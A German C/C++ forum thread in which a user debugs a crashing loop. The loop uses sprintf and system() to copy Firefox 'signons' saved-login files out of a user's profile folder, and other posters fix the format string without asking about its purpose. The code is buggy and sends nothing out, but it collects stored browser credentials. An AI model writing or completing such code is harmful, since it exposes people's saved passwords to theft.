For - Schleife + Copy Befehl => Programm hängt sich auf



  • Habe es jetzt mit dem prinf -Befehl versucht
    aber es klappt, nicht, das Programm kommt noch nicht einmal
    so weit, das es den print-F Befehl anwendet,
    es stürzt schon vorher ab.

    Kann es evtl. damit zusammen hängen, das
    ich Dateien kopieren will, die nicht vorhanden sind?

    Den, ich habe 9 Dateien mögliche Dateien im Ordner,
    aber es sind immer nur 2 Zufällige vorhanden,d.h.
    die anderen 7 gibt es gar nicht.

    Oder wie kann ich überprüfen ob es die Datei gibt,
    und sie dann kopieren ?

    Grüße.



  • Hans Dieter schrieb:

    Habe es jetzt mit dem prinf -Befehl versucht
    aber es klappt, nicht, das Programm kommt noch nicht einmal
    so weit, das es den print-F Befehl anwendet,
    es stürzt schon vorher ab.

    Dann ist vermutlich dein Buffer zu klein oder die Datentypen in sprintf stimmen nicht. Wie wäre es, den Debugger warm laufen zu lassen?

    Hans Dieter schrieb:

    Kann es evtl. damit zusammen hängen, das
    ich Dateien kopieren will, die nicht vorhanden sind?

    Nein, wie du schon selbst festgestellt hast, kommt dein Programm nicht einmal bis zu printf , also wird auch system nicht ausgeführt.

    Hans Dieter schrieb:

    Oder wie kann ich überprüfen ob es die Datei gibt,
    und sie dann kopieren ?

    Also ein bisschen suchen sollte helfen... (Kleiner Tipp: Es gibt eine Funktion namens CopyFile , die eine Datei kopiert, ohne dass du den Befehl per system aufrufen musst.)



  • Nein,
    der Printf - Befehl kommt ja nach dem System Copy befehl.
    Deshalb.

    Dein Link zu der Seite hat mir nicht wirklich weiter geholfen,
    da ich da auch mit suchen keine brauchbare Lösung gefunden
    habe.

    Grüße.



  • Hans Dieter schrieb:

    Nein,
    der Printf - Befehl kommt ja nach dem System Copy befehl.
    Deshalb.

    Dein Link zu der Seite hat mir nicht wirklich weiter geholfen,
    da ich da auch mit suchen keine brauchbare Lösung gefunden
    habe.

    Grüße.

    Doppelpost 😞

    Laut Debugger tritt eine Zugriffsverletzung( Segmentation Fault ) auf.

    Grüße.



  • %s-signons%TDZ.txt ",VN,ON,VN,TDZ,TDZ);

    ????



  • ? Was möchtest du mir damit sagen?

    Grüße.



  • Hans Dieter schrieb:

    Laut Debugger tritt eine Zugriffsverletzung( Segmentation Fault ) auf.

    Ja, wo denn?

    Hans Dieter schrieb:

    Nein,
    der Printf - Befehl kommt ja nach dem System Copy befehl.
    Deshalb.

    Dann hättest du das vielleich mal dazuschreiben können. Ist doch logisch, dass er dann nicht funktioniert, wenn er schon bei sprintf bzw. system abstürzt.



  • JA ich hatte doch den Code da stehen, da kann man doch sehen
    wo der printf () befehl ist.

    Wo er abstürzt sagt er nicht, bzw wo die Verletzung ist auch nicht.



  • Hans Dieter schrieb:

    ? Was möchtest du mir damit sagen?

    Möglicherweise, dass du in deinem Format-String komischerweise %TDZ stehen hast, wo wahrscheinlich %s hin sollte.

    Hans Dieter schrieb:

    JA ich hatte doch den Code da stehen, da kann man doch sehen
    wo der printf () befehl ist.

    Wo hattest du den stehen? Der einzige Code mit printf , den ich diesem Thread sehe, hat das printf vor system stehen.



  • Hey,

    C/C++ Code:
    for( TDZ = 1; TDZ < 10; TDZ++)
    {

    sprintf (CY, "Copy C:\\Users\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\%s\\signons%d.txt %s-signons%TDZ.txt ",VN,ON,VN,TDZ,TDZ);
    printf("%s", CY);
    system(CY);
    }

    Hier steht der printf() Befehl ja danach.

    Das mit dem TDZ ist mir auch schon aufgefallen, habe aber anstatt des TDZ kein s gemacht. Vielleicht liegts daran.

    Vile Grüße.
    Hans Dieter.



  • Hans Dieter schrieb:

    Hey,

    C/C++ Code:
    for( TDZ = 1; TDZ < 10; TDZ++)
    {

    sprintf (CY, "Copy C:\\Users\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\%s\\signons%d.txt %s-signons%TDZ.txt ",VN,ON,VN,TDZ,TDZ);
    printf("%s", CY);
    system(CY);
    }

    Hier steht der printf() Befehl ja danach.

    Das mit dem TDZ ist mir auch schon aufgefallen, habe aber anstatt des TDZ kein s gemacht. Vielleicht liegts daran.

    Vile Grüße.
    Hans Dieter.

    Obwohl ich den Fehler mit dem %s jetzt behoben habe,
    stürzt mein Programm noch ab.

    Kann es daran liegen, das ich Dateien kopieren will,
    die nicht existieren? Den es sind immer nur 2 von 9 möglichen
    Dateien im Ordner und ich wollte einfach mit einer Schleife alle
    9 kopieren, wo bei ja nur 2 existieren oder sollte ich das lieber mit einer
    IF-Abfrage machen?

    Wie auch immer das geht.

    Grüße. 🙂



  • hab jetzt nichts geprüft:
    Aber wird denn CY so schnell verarbeitet wie neugeschrieben?

    mach das mit der C-Funktion copyfile da prüftst du ob die erfolgreich
    ausgeführt wurde, um dann den nächsten Schleifendurchlauf zuzulassen.



  • Danke für den Tip.

    Habe es jetzt so geändert klappt allerdings nicht:

    for( TDZ = 1; TDZ < 10; TDZ++)
              {
               copyfile ("C:/Users/%s/AppData/Roaming/Mozilla/Firefox/Profiles/%s/signons%d.txt" "%s-signons%s.txt",VN,ON,VN,TDZ,TDZ);
    }
    

    Der Compilier sagt folgendes:

    main.o(.text+0x208):main.c: undefined reference to `copyfile'
    collect2: ld returned 1 exit status

    Grüße.

    Wäre sher dankbar für ein kurzes Beispiel wie es richtig geht.



  • Hans Dieter schrieb:

    copyfile ("C:/Users/%s/AppData/Roaming/Mozilla/Firefox/Profiles/%s/signons%d.txt" "%s-signons%s.txt",VN,ON,VN,TDZ,TDZ);
    

    Was soll das sein? 1. Fehlt wohl zwischen den beiden Strings ein Komma, damit das 2 Parameter werden könnten, und 2. was sollen die %s und %d da drin? Glaube kaum, dass du in der Funktion (die ich noch nie verwendet habe, siehe unten), einen String mit Formatangaben einbauen kannst....

    Die einfachste Methode zum Dateien kopieren wäre wohl auch, einfach die Quelldatei im Binärmodus zu öffnen und dann byteweise in eine andere Datei zu schreiben...



  • U-Boot schrieb:

    Die einfachste Methode zum Dateien kopieren wäre wohl auch, einfach die Quelldatei im Binärmodus zu öffnen und dann byteweise in eine andere Datei zu schreiben...

    Nein, wenn es auf der Plattform sowieso schon so eine Funktion gibt ist es besser und einfacher diese zu benutzen. Welche Vorteile sollte man mit einer eigenen CopyFile-Routine haben?



  • Hilft mir aber trotzdem bei meinem Compilier-Fehler nicht weiter 😕

    Grüße.



  • Hans Dieter schrieb:

    Obwohl ich den Fehler mit dem %s jetzt behoben habe,
    stürzt mein Programm noch ab.

    Bist du sicher? Behoben und nicht verlagert? TDZ ist doch eine Zahl, ne?
    Behaupte ich jetzt mal ganz pauschal, denn es kommt in der for-schleife vor:

    for( TDZ = 1; TDZ < 10; TDZ++)

    Also muss da schonmal ein %d oder ein %u hin.

    Hans Dieter schrieb:

    Kann es daran liegen, das ich Dateien kopieren will,
    die nicht existieren?

    Nein, daran kann es nicht liegen. Es erscheint allenfalls ein "Dateiname nicht gefunden" oder sowas in der Konsole.
    Wennze trotzdem voher checken willst, ob die Datei existiert, kannst du z.B. fopen/fclose mit Lesemodus nehmen. Oder PathFileExists, oder _access oder so.

    Der erste Ansatz mit sprintf war schon ok, bloss der Formatstring funzt wohl noch nicht.
    Gruß,
    B.B.



  • Zitat:
    for( TDZ = 1; TDZ < 10; TDZ++)

    Also muss da schonmal ein %d oder ein %u hin.

    Habe das jetzt geändert, aber trotzdem
    hängt sich das Programm noch auf.

    Selbst nach einem Sleep(10);,
    fals die Schleife überlastet ist, bzw. der Befehl,
    hängt es sich noch auf.

    Grüße.



  • Zeig doch nochmal die sprintf Zeile und den System aufruf. Was ist VN und ON?



  • HEy,

    {
              sprintf (CY, "Copy C:\\Users\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\%s\\signons%d.txt %s-signons%d.txt ",VN,ON,VN,TDZ,TDZ);
              system(CY);
              sleep(10);
              }
    

    Ist die komplette For-Schleife.

    Hier noch die Variablen.

    char VN[100];
        char ON[100];
        char TR[300];
        char CY[300];
        int BS;
        short TDZ;
    

    Grüße.


Anmelden zum Antworten